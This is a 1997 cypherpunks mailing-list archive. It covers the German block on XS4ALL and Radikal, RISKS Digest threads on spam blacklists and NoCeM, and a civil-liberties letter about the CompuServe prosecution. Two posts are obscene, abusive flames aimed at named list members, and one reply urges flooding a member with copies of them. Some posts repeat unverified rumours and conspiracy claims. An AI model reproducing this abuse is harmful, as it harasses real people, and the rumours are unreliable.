With mirror sites defeating its attempt to shutter a left-wing
magazine, Germany's main academic network has called off the blockade.
The network acted 11 April after prosecutors warned that Radikal
magazine, hosted by Dutch ISP XS4ALL, was illegal. The network then
blocked XS4ALL, which hosts 6,000 Web sites. Protests included
widespread mirroring of Radikal. "An effective barrier to the illegal
content was not possible," a network spokesman told the Associated
Press Tuesday.






XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe at xs4all.nl
for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 





From canthony at info-nation.com  Wed Apr 23 05:22:31 1997
From: canthony at info-nation.com (Charles Anthony)
Date: Wed, 23 Apr 1997 05:22:31 -0700 (PDT)
Subject: (Fwd) Wired news: German Network Lifts Ban on Dutch ISP
Message-ID: <199704231222.HAA21890@bitstream.net>


The mirror efforts have been a success. Germany has lifted the ban on 
the xs4all site.

--C


------- Forwarded Message Follows -------
From:          tank 
Subject:       Wired news: German Network Lifts Ban on Dutch ISP
To:            tank at xs4all.nl
Date:          Wed, 23 Apr 1997 11:39:04 +0200 (MET DST)

>From www.wired.com:


German Network Lifts Ban on Dutch ISP 

With mirror sites defeating its attempt to shutter a left-wing
magazine, Germany's main academic network has called off the blockade.
The network acted 11 April after prosecutors warned that Radikal
magazine, hosted by Dutch ISP XS4ALL, was illegal. The network then
blocked XS4ALL, which hosts 6,000 Web sites. Protests included
widespread mirroring of Radikal. "An effective barrier to the illegal
content was not possible," a network spokesman told the Associated
Press Tuesday.


XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger 
felipe at xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 



**********************************************************************
Charles Anthony
canthony at info-nation.com
http://www.info-nation.com

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From canthony at info-nation.com  Wed Apr 23 05:52:19 1997
From: canthony at info-nation.com (Charles Anthony)
Date: Wed, 23 Apr 1997 05:52:19 -0700 (PDT)
Subject: The Risks of Automatic Spam Filtering/Deadbolt
Message-ID: <199704231252.HAA23219@bitstream.net>


An item from Risks-Forum Digest forwarded through the Red Rock Eater 
News Service- 

--C



Date: Thu, 27 Mar 1997 11:31:55 -0800 (PST)
From: risks at csl.sri.com
Subject: RISKS DIGEST 18.94

RISKS-LIST: Risks-Forum Digest  Thursday 27 March 1997  Volume 18 : Issue 94

----------------------------------------------------------------------

Date: Wed, 26 Mar 1997 09:25:38 -0600 (CST)
From: Prentiss Riddle 
Subject: Risks of automatic spam blockers

Forwarded from Edupage, 25 March 1997:
| SPAM BLOCK
| A California software engineer [Ron Guilmette] takes the annoyance
| caused by unsolicited e-mail messages seriously, and has developed an
| anti-spam weapon he plans to unveil next month.  Dead Bolt allows
| online users to share their "blacklists" of spam purveyors so that they
| can more effectively filter offending e-mail.  "The problem now is that
| everyone who is filtering is keeping their own blacklists and they're
| not working together to tie their lists together in a meaningful way,"
| says Dead Bolt's creator.  "What I hope my package will do is allow
| people to work together over the Net and filter all this stuff out and
| finally put these people out of business....The problem is that it
| costs the sender virtually zero dollars to send out a million messages,
| and even if the response rate is minuscule by all standards -- say .001
| percent -- they've made money.  So from an economic selfish point of
| view, it's in their interest to annoy the other 99.99 percent of the
| people." (Miami Herald 24 Mar 97)

The full Miami Herald article is available at:

   http://www.herald.com/archive/cyber/techdocs/056735.htm

Some of the risks of automatic spam filtering which Deadbolt will have
to overcome in order to be successful include:

   -- The risk of false and malicious blacklisting of non-spammers. 

   -- The risk of harm to innocent bystanders who happen to share
      hostnames, ISPs, or other characteristics with targeted spammers.

   -- The possibility that spam messages will avoid detection by
      varying return addresses and other signatures in each copy of
      a message.

I find the first two particularly troubling -- were an imperfect spam
filtering system in wide use, then triggering it against an innocent
party could become a handy form of denial-of-service attack.

Published details of Deadbolt are sketchy, but a Deja News or Alta
Vista search of Usenet for "Ron Guilmette" reveals some of its
designer's thinking on the subject.  So far, I don't see enough to
convince me that he will be successful.

Prentiss Riddle  riddle at rice.edu

------------------------------

End of RISKS-FORUM Digest 18.94 
************************




Date: Tue, 1 Apr 1997 17:01:10 -0800 (PST)
From: risks at csl.sri.com

RISKS-LIST: Risks-Forum Digest  Wednesday 02 April 1997  Volume 19 : Issue 02

----------------------------------------------------------------------

Date: Thu, 27 Mar 97 13:44:07 PST
From: zerkle at cs.ucdavis.edu (Dan Zerkle)
Subject: Re: Risks of automatic spam blockers (Riddle, RISKS-18.94)

> Dead Bolt allows online users to share their "blacklists" of spam 
> purveyors so that they can more effectively filter offending e-mail.

Something like this has, unfortunately, become necessary.  It will happen
someday.  Stopping spam is a topic near and dear to me, and I've already
considered the risks mentioned.

> The risk of false and malicious blacklisting of non-spammers. 

This is a serious problem.  A step towards solving it would be a secure
clearing house of data on spammers.  It would need to be distributed via a
technique like PGP-signed Usenet messages or a on online database
downloadable through some secure transfer medium.

Whoever maintained the database would need to somehow decide what went into
it and what didn't.  The entries would have to be classified by reliability
level so that the users could decide which data to use and which to ignore.

Unfortunately, doing this would subject whoever did it to a suit by spammers
who didn't want to be blocked.  I haven't figured out a way to avoid this
particular risk short of establishing the operation in a country without
spammers.

> The risk of harm to innocent bystanders who happen to share hostnames,
> ISPs, or other characteristics with targeted spammers.

This is not a risk.  This is a benefit.  If users at an ISP get blocked
because the other users at that ISP are spamming, they will take their
business elsewhere.  ISP's will either take measures to avoid harboring
spammers, or they will lose their customers and go out of business.  Either
way, spammers will have one less place to hide.

> The possibility that spam messages will avoid detection by varying return
> addresses and other signatures in each copy of a message.

If the source of a spam can be discovered, this is not a problem.  The
original spamming host is going to show up somewhere in the Received: line,
even if only as an IP number.  Poorly configured sendmails on intermediate
(relay) hosts might not properly include the Received: information.  If this
is the case, the defective site should be blocked until its owners fix it.

------------------------------

Date: Fri, 28 Mar 1997 10:57:47 -0500
From: Wayne Mesard 
Subject: Spam-proofed "From:" lines

A recent trend in the war against spam is to munge the "From:" line in
outgoing Usenet and e-mail messages (e.g., by adding asterisks or
exclamation points to the beginning or end of the userid).  

These messages are typically accompanied by a terse note at the bottom
of the message instructing respondents to "Remove asterisks [or
whatever] from my address if you would like to reply."

I see several risks with this technique:

- False security: Most mail and news agents will dutifully add a
  "Sender:" line containing the "actual" e-mail address, if the
  user-supplied "From:" line doesn't look right.

  Since many spammers already gather addresses from the "Sender:" line,
  munging the "From:" line provides only limited protection.

- Inconsideration: In that a munged "From:" line reduces the spam
  received, it reduces the amount of work the munger has to do.  

  So instead of having to press one key to delete a junk e-mail message,
  everyone that wants to reply to one of his messages has to (a) notice
  that the address is bogus (b) press many keys to fix it.  (Indeed, some
  mail readers make it quite tedious to edit the headers in replies.)

  In other words, it hasn't eliminated the problem; it's merely shifted
  the work from the sender to his correspondents.

- Lost messages: a non-scientific survey of some novice-user friends
  indicated that a large number of them had no idea what the "remove
  asterisks..." directive meant, how to perform this task, or what to do
  with the bounced messages that will result from the failure to do so.

- False security 2: In the ever-escalating spam arms race, it won't be
  long before spammers' address-gathering software is modified to
  unmunged munged "From:" lines.  (I can think of two obvious techniques,
  which I won't describe here so as to avoid providing aid and comfort
  to the enemy.)

Wayne

------------------------------

End of RISKS-FORUM Digest 19.02 
************************


Date: Fri, 4 Apr 1997 17:04:13 -0800 (PST)
From: risks at csl.sri.com

RISKS-LIST: Risks-Forum Digest  Friday 4 April 1997  Volume 19 : Issue 04

----------------------------------------------------------------------

Date: Tue, 1 Apr 1997 18:35:54 -0800 (PST)
From: C Matthew Curtin 
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

>> The risk of false and malicious blacklisting of non-spammers.  (Riddle)
Dan> This is a serious problem.  A step towards solving it would be [...]

This is unnecessarily complex.  The NoCeM effort (see http://www.cm.org/ for
details) has simply, and effectively, dealt with the spam problem for
usenet.  Efforts are underway to adapt this to e-mail.

NoCeM works this way:
 * Someone takes it upon himself to watch for spam in a newsgroup (or groups).
 * When spam does appear, that someone posts a "NoCeM" message to
   news:alt.nocem.misc and/or news:news.admin.net-abuse.misc, PGP signed.
 * Users who want to benefit from the filters have clients that, when
   they grab news, look in news:alt.nocem.misc (and potentially other
   places) for NoCeM messages.  The client verifies the signatures,
   and if it's signed by someone the client agrees to listen to, the
   message won't be shown to the user at all.
 * Clients are also available to work with news servers, to NoCeM
   messages on a site-wide basis.  (I believe that these actually
   cancel the NoCeM'd messages on the site.)

This is nice, because it uses what's already there (news), and allows the
user (or admin, depending on the model) to select which users' NoCeMs he
honors.  Either you trust someone's judgement and honor their NoCeMs, or you
don't, and they're completely ignored.

Dan> Unfortunately, doing this would subject whoever did it to a suit
Dan> by spammers who didn't want to be blocked.

Superfluous lawsuits are threatened all the time... few have the resources
of CyberPromo to actually be stupid enough to try any of this.  (It's
another thing about NoCeM...it doesn't kill the messages, it just is another
post, that certain clients deal with behind the scenes. :-)

Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin at research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/ 

------------------------------

Date: Wed, 2 Apr 1997 11:57:49 -0800 (PST)
From: Ted Wong 
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

Instead of having a central repository of spam, why not use a
distributed spam-control system analogous to NoCeMs for Usenet news?
Anyone could then issue digitally-signed spam-block notifications, but
an individual user would configure their system to only apply notices
that came from cancellers they trusted. An Alpha version of NoCeM for
e-mail already exists, at .

Some advantages of this system are:

o It thwarts malicious individuals or organizations attempting to
systematically censor e-mail. Unless the user lists them as trusted
cancellers, their notices will be ignored.

o A 'spotcheck' mode would allow users to occasionally receive an otherwise
cancelled e-mail, to ensure that an otherwise trusted canceller hasn't
stepped over the line between spam-blocking and censorship.

o There is no risk of some central database being compromised by spammers or
censors.

o Users receive more timely warnings of new spam, without needing to
periodically check and download a spam-list.

o  The spammers have no-one to sue for freedom-of-speech violations.
While I'm not a lawyer, I can't see any way to sue someone for merely
suggesting that a spammer's mail isn't worth reading. 

> > The risk of harm to innocent bystanders who happen to share hostnames,
> > ISPs, or other characteristics with targeted spammers.
> 
> This is not a risk.  This is a benefit.  [...]

I can't see that this is a benefit. Changing your ISP is hardly a trivial
task - you have to notify all of your correspondents of your new e-mail
address, archive any web pages you may have stored at your ISP, reconfigure
your internal network if you were using a Class C subnet, etc. It's grossly
unfair to punish legitimate users because they were unfortunate enough to
have some Canter and Siegal wanna-be set up shop on their ISP.

Ted Wong  Information Technology Section  Mann Library, Cornell University


------------------------------

Date: Wed, 2 Apr 1997 08:33:02 -0800 (PST)
From: "Rosenthal, Harlan" 
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

> [...] they will take their business elsewhere.  

Easy to say from a university or company account.  In the real world, nobody
wants to change addresses and notify all of their correspondents, especially
if it means losing an established presence that may have been widely
disseminated to =potential= correspondents (not to mention reprinting
stationary and business cards).  And why should the multitude suffer this
inconvenience, expense, and loss of communication, for the activities of the
few?

Spam is the biggest single argument for usage charges.  As long as it's
cheap to set up a new address and free to abuse it, there's no reason for
the spammers to cut down on e-mailing spam and freeloading on other people's
processors and comm lines.  The fact that spam can be sent from a domain
shared by many legitimate users, and that even new addresses may be reused
after the spammer changes away, means that abusers are hiding among the
innocent like hostage-taking terrorists - hyperbole, perhaps, but congruent
in style if not in magnitude.  The goal of any anti-spam approach should be
to block, slow, or encumber transmission as close to the source as possible.
Yet legitimate cases are always at risk; limiting the cc: lines, for
example, could inconvenience clubs or companies almost as much as it slows
the spammers.  As in any police-power or security effort, the problem is how
much freedom the average innocent person is prepared to give up so that the
abuser can be blocked.

-harlan

------------------------------

Date: Wed, 2 Apr 1997 09:32:46 -0800 (PST)
From: Dan Franklin 
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

> The original spamming host is going to show up somewhere in the Received: 
> line, [...]

Note that if you are fortunate enough to have Received: lines to work from
(the most recent spam I received had none at all, either because the relay
host was defective or because it really was sent directly to my mailhost)
you still have a challenge, because the spammer can insert one or more bogus
Received lines in the initial message, so the one added by the first relay
host will be buried in the middle.

By the way, it does not seem practical to me to block all mail-relay sites
that don't add Received lines.  How would you generate such a list?  What
incentive would you provide to such a site to change their software?

Dan Franklin

------------------------------

Date: Wed, 2 Apr 1997 10:57:55 -0800 (PST)
From: "J. DeBert" 
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

Any method of auto-blocking spam will create a serious problem for anyone
who later acquire the spammers' discarded domain names.

Spammers are registering lots of domain names and faking many to evade
anti-spam and cancel bots and to hide from their enemies as well as the
public at large. Once they are done with the domain names and they--the
registered names--become available again, the next organization to acquire
the name will find their mail bouncing or disappearing into /dev/null
somewhere and perhaps harassed by bots and hostile spam-haters which do not
know that the domain name has changed hands. The unfortunate victims of such
acts may not even be able to escape them by merely changing their domain
name, either.

Who is going to removed dead spammer domains from the anti- spam and cancel
bots' records and make sure that everyone knows about it?

onymouse at hypatia.com | I've only one thing to 
 Send NO spam        | say to spammers: "47USC227".

  [Many thanks to an onymouse contributor (J DeBert), 
  who acted as a guest moderator for this topic.  PGN]

------------------------------

End of RISKS-FORUM Digest 19.04 
************************



Date: Tue, 22 Apr 1997 12:03:12 -0700 (PDT)
From: risks at csl.sri.com
Subject: RISKS DIGEST 19.10

RISKS-LIST: Risks-Forum Digest  Tuesday 22 April 1997  Volume 19 : Issue 10

----------------------------------------------------------------------

Date: Thu, 17 Apr 97 19:49:30 EDT
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Risks of automatic spam blockers (Curtin, RISKS-19.04)

On the risks of issuing NoCeMs

I've been issuing NoCeMs for off-topic articles in several newsgroups (both
global Usenet and the nyc.* hierarchy) since the summer of '96.  I've
received two legalese threats of legal action from posters of material that
matched my criteria of being off-topic.

1. Michael Weir, a recruiter from Canada, insisted on posting job ads in
an unmoderated discussion newsgroup whose charter prohibits job ads and
resumes. He threatened to sue me for using his name in the NoCeM notices.
He also posted a series of abusive flames about me. A search of DejaNews
revealed several articles from him in Canadian newsgroups discussing
his litigations and asking for personal information about a judge.
Eventually he went away.

2. The "New York Theosophical Society" insists on posting in the local
newsgroup nyc.seminars (usually used to announce, what else, seminars).  One
Bart Lidofsky responded to the NoCeM articles by saying:

"I consider these messages to be a form of harassment, and will treat them
as such."

I have also seen several claims that the NoCeM notices themselves are
"spam".  Apparently, this term now applies to any traffic that the user
doesn't like for any reason.

I understand that other issuers of NoCeMs have also received threats, and at
least one poster has been forging old-fashioned cancels for the NoCeM
notices that mention his articles (another good reason to stop processing
all old-fashioned cancels).

Dimitri "co-proponent of news.lists.filters where NoCeM notices are posted"
Vulis  Dr.Dimitri Vulis KOTM

------------------------------

End of RISKS-FORUM Digest 19.10 
************************


Standard Risks reuse disclaimer:

  Reused without explicit authorization under blanket
  permission granted for all Risks-Forum Digest materials.
  The author(s), the RISKS moderator, and the ACM have no
  connection with this reuse.






From jya at pipeline.com  Wed Apr 23 06:38:53 1997
From: jya at pipeline.com (John Young)
Date: Wed, 23 Apr 1997 06:38:53 -0700 (PDT)
Subject: EC Electronic Commerce Report
Message-ID: <1.5.4.32.19970423133733.0091633c@pop.pipeline.com>


The European Commission has issued a major initiative
for electronic commerce in competition and contrast with 
that of the US being readied for release shortly by Ira 
Magaziner. Online privacy and information security are 
featured.

   http://jya.com/ecomcom.htm  (110K)







From jim.burnes at ssds.com  Wed Apr 23 09:04:17 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Wed, 23 Apr 1997 09:04:17 -0700 (PDT)
Subject: Generic announcement
Message-ID: <199704231603.KAA12350@denver.ssds.com>


> Date:          Tue, 22 Apr 1997 18:37:23 -0700
> From:          Kent Crispin 
> To:            cypherpunks at toad.com
> Subject:       Generic announcement

> This is from a story on Top Level Domain Names.  Seems like it could apply 
> to anything:
  
> "In Washington DC, officials from the White House, federal agencies and
> Congress say regulations may be necessary to promote a free-market   
> system. A White House inter-agency taskforce was due to meet last
> week, after CWI's press deadline, to discuss the matter."
> 
Thats about the most humorous thing I've read all week.  Typical 
socialist mindset "we had to control it to set it free".  Sort of 
like "we had to destroy the village to save it."

This must be the same Orwellian mindset that gave birth to the Waco
"Hostage Rescue Team" concept.

Please don't rescue me.  

War is Peace
Love is Hate

I love big brother.

Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes at ssds.com
----
Sometimes it is said that man cannot be trusted with the government
of himself.  Can he, then, be trusted with the government of others?
Or have we found angels in the forms of kings to govern him?  Let
history answer this question.  -Thomas Jefferson, 1st Inaugural Addr






From Banisar at epic.org  Wed Apr 23 09:40:08 1997
From: Banisar at epic.org (Dave Banisar)
Date: Wed, 23 Apr 1997 09:40:08 -0700 (PDT)
Subject: Groups Protest German Compuserve Prosecution
Message-ID: 



PRESS RELEASE
April 23, 1997
www.gilc.org

       LETTER TO CHANCELLOR KOHL URGES INVESTIGATION
                  OF COMPUSERVE PROSECUTION

A coalition of civil liberties organizations from a dozen countries
has written to German Chancellor Helmut Kohl to express concern
about the prosecution of an official from the Compuserve
company which is making makes available Internet access to
German subscribers. The official has been indicted by local
prosecutors.

The letter states the prosecution of the Compuserve manager Mr. Felix
Somm is "ill-advised for both technical and regulatory reasons"
and will "have a harmful impact on Internet users around the world."

The groups said that "the charges against CompuServe will establish a
harmful precedent, and may encourage other governments to censor speech,
limit political debate, control artistic expression, and otherwise deny the
opportunity for individuals to be fully informed."

The organizations signing the letter, which was organized by the
Global Internet Liberty Campaign, include the American Civil Liberties
Union, Arge Daten, Association des Utilisateurs d'Internet, Derechos
Human Rights, the Electronic Frontier Foundation, Human Rights Watch,
the Internet Society, and Privacy International.

Felipe Rodriquez, the administrator for XS4ALL, an internet provider
that was recently blocked by German authorities in a separate
matter said, "Is is not possible for a provider to censor the Internet
according to the local law, custom or tradition. The Internet is too
international and too dynamic for that to be possible. Censoring the
Internet has, in most cases, proved to be counterproductive."

Andy Oram, a member of the Computer Professionals for Social
Responsibility in the United States, said that he thought the
attempts by German to limit use of the Internet in this manner
were impractical. "Even if an Internet provider is notified that
illegal material is coming from a certain site and cuts off all
access to that site, the publisher of the material can easily find
another site from which to send it."

The groups also noted their support for efforts now underway in
the German parliament to liberalize the use of the Internet.
"We believe that the measure now under consideration to reduce
liability for Internet services will do much to ensure the protection
of personal freedoms in the future," said the organizations.

The Global Internet Liberty Campaign was established at the annual
meeting of the Internet Society in June 1996 in Montreal. It maintains
a web site at www.gilc.org with links to all of the member
organizations.

Last September the group organized a conference in Paris to
educate members of the Organization for Economic Cooperation
and Development about the need to develop cryptography polices
that protected privacy and fundamental human rights. Aspects
of the GILC recommendations were incorporated in the OECD
Cryptography Guidelines released earlier this year.


-----------------------------------------------------------------------

                 GLOBAL INTERNET LIBERTY CAMPAIGN

                            WWW.GILC.ORG




April 23, 1997

Chancellor Helmut Kohl
Adenauerallee 141
53113 Bonn
GERMANY

Dear Chancellor Kohl,

	The undersigned organizations, members of the Global Internet
Liberty Campaign, are writing to express concern about the prosecution of
Felix Somm, German representative of CompuServe, for the transmission of
allegedly illegal materials over the Internet. The news reports we have
received indicate that Mr. Somm is being prosecuted because Internet users
are able to obtain information on the Internet, by means of the  CompuServe
service, that may be considered illegal in Germany.

	We believe that the prosecution of the CompuServe manager is
ill-advised for both technical and regulatory reasons. We also believe that
this prosecution violates international norms for the protection of speech
and will have a harmful impact on Internet users around the world.

	There are two technical factors that prevent an service provider,
such as CompuServe, from blocking the free flow of information on the
Internet. First, an Internet service provider cannot easily stop the
incoming flow of material. No one can monitor the enormous quantity of
network traffic, which may consist of hundreds of thousands of emails,
newsgroup messages, files, and Web pages that pass through in dozens of
text and binary formats, some of them readable only by particular
proprietary tools. As the European Commission noted recently, "it is
as yet unclear how far it is technically possible to block access to
content once it is identified as illegal. This is a problem which
also affects the degree of liability of the access providers."

 	A second technical problem is that a provider cannot selectively
disable transmission to particular users. Electronic networks typically do
not allow for the identification of particular users or their national
region. Thus, we support CompuServe's claim that it cannot provide material
in one country while blocking it in another; such a distinction would
require an enormous new infrastructure on top of the current network.

	Some networking technologies, such as newsgroups, may allow
individual operators to select some groups or items and block others. But
many technologies, such as the widely used World Wide Web, currently do not
support such selectivity.

	We also oppose the prosecution of CompuServe because of the harmful
impact it will have on the development of new communication services around
the globe. The great appeal of the Internet is its openness. Efforts to
restrict the free flow of information on the Internet, like efforts to
restrict what may be said on a telephone, would place unreasonable burdens
on well established principles of privacy and free speech.

 	We believe that the charges against CompuServe will establish a
harmful precedent, and may encourage other governments to censor speech,
limit political debate, control artistic expression, and otherwise deny the
opportunity for individuals to be fully informed. The Universal Declaration
of Human Rights, adopted by the United Nations General Assembly on December
10, 1948, states:

       ARTICLE 19. Everyone has the right to freedom of opinion and
       expression; this right includes freedom to hold opinions without
       interference and to seek, receive and impart information and
       ideas through any media and regardless of frontiers.

	At the same, we are very much encouraged by the recent developments
in the German parliament concerning new approaches to the regulation of
Internet services. In particular, we believe that the measure now under
consideration to reduce liability for Internet services will do much to
ensure the protection of personal freedoms in the future.

	On behalf of the undersigned organizations and many Internet users
around the world, we ask you to investigate the matter of Mr. Somm and to
lend your support to policies that would promote the development of this
new communications technology in a manner consistent with the aims and
aspirations of democratic countries.

cc:    Dr. Edzard Schmidt-Jortzig.
       Federal Minister of Justice


			Respectfully yours,

                        (Listing of organizations)


ALCEI - Electronic Frontiers Italy [www.nexus.it/alcei]

American Civil Liberties Union [www.aclu.org]

Arge Daten [www.ad.or.at]

Association des Utilisateurs d'Internet [www.aui.fr]

Bevcom Internet Technologies [www.bevcom.org]

C.I.T.A.D.E.L. Electronic Frontier France [www.citadeleff.org]

Committee to Protect Journalists [www.cpj.org]

Computer Professional for Social Responsibility [www.cpsr.org]

Cyber-Rights & Cyber-Liberties (UK) [www.leeds.ac.uk/law/pgs/yaman/yaman.htm]

Derechos Human Rights [www.derechos.org]

Electronic Frontiers Australia [www.efa.org.au]

Electronic Frontier Canada [www.efc.ca]

Electronic Frontier Foundation [www.eff.org]

EFF-Austin [www.eff-austin.org]

Electronic Privacy Information Center [www.epic.org]

FITUG [www.fitug.de]

Fronteras Electronicas Espa�a (FrEE) [www.las.es/free]

Human Rights Watch [www.hrw.org]

Internet Society [www.isoc.org]

NetAction [www.netaction.org]

Peacefire [www.peacefire.org]

Privacy International [www.privacy.org/pi/]

XS4ALL [www.xs4all.nl]


[end]


=========================================================================
David Banisar (Banisar at epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================







From dlv at bwalk.dm.com  Wed Apr 23 10:30:56 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 23 Apr 1997 10:30:56 -0700 (PDT)
Subject: Plain Text / InterNet Free Terra
In-Reply-To: <3356E038.1636@sk.sympatico.ca>
Message-ID: <1iem6D11w165w@bwalk.dm.com>


InterNet Free Terra  writes:

>     "The Internet interprets censorship as damage, and routes around it"
>                                 John Gilmore

Whose cow should moo.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Wed Apr 23 10:42:53 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 23 Apr 1997 10:42:53 -0700 (PDT)
Subject: Bombing Denver? / Or: How Capt. Button Learned to Stop
In-Reply-To: <3351BDB6.1FFE@sk.sympatico.ca>
Message-ID: <6oDm6D2w165w@bwalk.dm.com>


Toto  writes:

> Timothy C. May wrote:
>  
> > The A-10 is believed by Reliable Sources to have been on its way to bomb
> > the Federal Building, while the McVeigh trial was starting, in Denver.
> > 
> > (I'm on some strange lists and can't vouch for this revelation.)
> 
>   Which begs the question, "Would those lists be strange if you
> 'weren't'
> on them?"

Is Timmy `C' May on his own "do not hire" list?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From mixmaster at remail.obscura.com  Wed Apr 23 11:31:58 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Wed, 23 Apr 1997 11:31:58 -0700 (PDT)
Subject: No Subject
Message-ID: <199704231800.LAA15657@sirius.infonex.com>


Timothy May is just another garden variety Intel pansy that has 
been misusing its `manhole' so badly that the overstretched 
sphincter cannot hold back the shit that all Intellers are full 
of and it spills out onto this mailing list.

      ,/         \,
     ((__,-,,,-,__)), Timothy May
      `--)~   ~(--`
     .-'(       )`-,
     `~~`d\   /b`~~`
         |     |
         (6___6)
          `---`






From trevorg at dhp.com  Wed Apr 23 12:43:22 1997
From: trevorg at dhp.com (Trevor Goodchild)
Date: Wed, 23 Apr 1997 12:43:22 -0700 (PDT)
Subject: No Subject
Message-ID: 


Dimi Vulis is just another garden variety KGB whore that has 
been misusing its `manhole' so badly that the overstretched 
sphincter cannot hold back the shit that all KGB spooks are full 
of and it spills out onto this mailing list.
 
      ,/         \,
     ((__,-,,,-,__)), Dimi Vulis
      `--)~   ~(--`
     .-'(       )`-,
     `~~`d\   /b`~~`
         |     |
         (6___6)
          `-6-`
 






From whgiii at amaranth.com  Wed Apr 23 15:53:27 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 23 Apr 1997 15:53:27 -0700 (PDT)
Subject: Fwd:Clinton and RSA, True?
In-Reply-To: <199704221739.NAA16574@life.ai.mit.edu>
Message-ID: <199704232249.RAA06587@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <199704221739.NAA16574 at life.ai.mit.edu>, on 04/22/97 at 11:45 AM,
   "Phillip M. Hallam-Baker"  said:



>>Yet, at the same time the Clinton administration attemped to
>>lump out nearly a billion dollars to buy a US company.  This
>>smaller, "leaner", US Government, according to Ira Sockowitz, a
>>former Commerce employee appointed by Bill Clinton, ordered him
>>to meet with RSA Inc. Chairman James Bidzos.  The topic of that
>>meeting was the official desire to secretly purchase RSA Inc.
>>using taxpayer money.

>[drivel deleted]

>Cyber dog loses points for the following:-

>NO mention of the Zarapuder film.

Yes I do believe that 1 bullet produced the 7 wounds to Kennedy's back &
neck and Connally's back, ribs, wrist & thigh then lands on the floor of
the car without a scratch. Yep, uh-hu uh-hu. 

I'm sure you will have no problem switching to the government's new
GAK-2000 crypto algorithm. They wouldn't lie or do anything wrong, would
they? Those back doors are only for nasty drug dealers & terrorist they
would never look at what you were doing, honest. :)

>NO explanation of Vince Foster's death.

The Clintons *know* who killed him or had him killed and why.

>NO consideration given to the credible evidence of UFO sightings. 

Why are they here? Looking for signs of intelligent life.

Why haven't they stayed? Never found any.

>Quite why the US govt. would want to buy RSA is beyond me. They already
>have a license to use RSA for internal purposes, the patent expires in
>three years in any case. Even if RSA was completely banned it would still
>be possible to use El-Gamal and variants for encryption and digital
>signatures.

>False, and no more than 3/10 for effort.


Shame, shame, shame for using the same tactics that the government uses
when countering someone that disagrees with them. Make them out to be some
type of wacko rather than address the issue at hand: Is or was the
government trying to secretly purchase or gain control of RSA, Inc.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Bugs come in through open Windows.

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XCbFY+VOJPolTDJS+palwj7951EeSJniWuiP0jGlaWk7I+fw20rrbc+dEZQEqKR6
0ELBsp9u6GA=
=DKD5
-----END PGP SIGNATURE-----






From jya at pipeline.com  Wed Apr 23 16:16:13 1997
From: jya at pipeline.com (John Young)
Date: Wed, 23 Apr 1997 16:16:13 -0700 (PDT)
Subject: BXA to Newt
Message-ID: <1.5.4.32.19970423231422.008b4af0@pop.pipeline.com>


Thanks to Greg Broiles we offer a December 1996 letter
from BXA's William Reinsch to Speaker Gingrich with a
Report to Congress on the purpose and plan of export 
controls of commercial encryption items.

   http://jya.com/bxahouse.htm

One note of interest: a battalion of crypto enforcement troops 
is being trained to spot EAR EI violations and nab Bernsteins,
Karns, Jungers and rogues.







From real at freenet.edmonton.ab.ca  Wed Apr 23 16:37:44 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 23 Apr 1997 16:37:44 -0700 (PDT)
Subject: your mail
In-Reply-To: <199704231800.LAA15657@sirius.infonex.com>
Message-ID: 


On Wed, 23 Apr 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy May is just another garden variety Intel pansy that has 
> been misusing its `manhole' so badly that the overstretched 
> sphincter cannot hold back the shit that all Intellers are full 
> of and it spills out onto this mailing list.
> 
>       ,/         \,
>      ((__,-,,,-,__)), Timothy May
>       `--)~   ~(--`
>      .-'(       )`-,
>      `~~`d\   /b`~~`
>          |     |
>          (6___6)
>           `---`
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From rah at shipwright.com  Wed Apr 23 16:59:33 1997
From: rah at shipwright.com (Robert Hettinga)
